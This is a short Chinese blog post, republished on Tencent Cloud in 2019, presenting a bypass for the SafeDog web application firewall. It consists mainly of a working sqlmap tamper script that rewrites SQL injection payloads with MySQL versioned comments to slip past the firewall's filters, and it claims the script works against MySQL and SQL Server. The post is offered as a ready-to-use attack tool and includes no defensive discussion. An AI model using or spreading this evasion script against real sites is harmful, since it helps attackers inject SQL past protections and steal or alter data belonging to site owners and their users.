安全狗最新版Bypass | 附sqlmap tamper脚本
安全狗最新版Bypass | 附sqlmap tamper脚本
HACK学习
发布于 2019-08-05 20:38:12
发布于 2019-08-05 20:38:12
安全狗版本
本地环境测试
Bypass 核心Sql语句如下图所示：
Sqlmap Tamper脚本
#!/usr/bin/env python
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload=payload.replace(" ","/*!*/")
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("AND","/*!*/AND/*!*/")
payload=payload.replace("UNION","union/*!88888cas*/")
payload=payload.replace("#","/*!*/#")
payload=payload.replace("USER()","USER/*!()*/")
payload=payload.replace("DATABASE()","DATABASE/*!()*/")
payload=payload.replace("--","/*!*/--")
payload=payload.replace("SELECT","/*!88888cas*/select")
payload=payload.replace("FROM","/*!99999c*//*!99999c*/from")
print payload
return payload经过测试,Mysql以及SqlServer均可使用该tamper
本文参与?腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2019-06-25，如有侵权请联系?cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读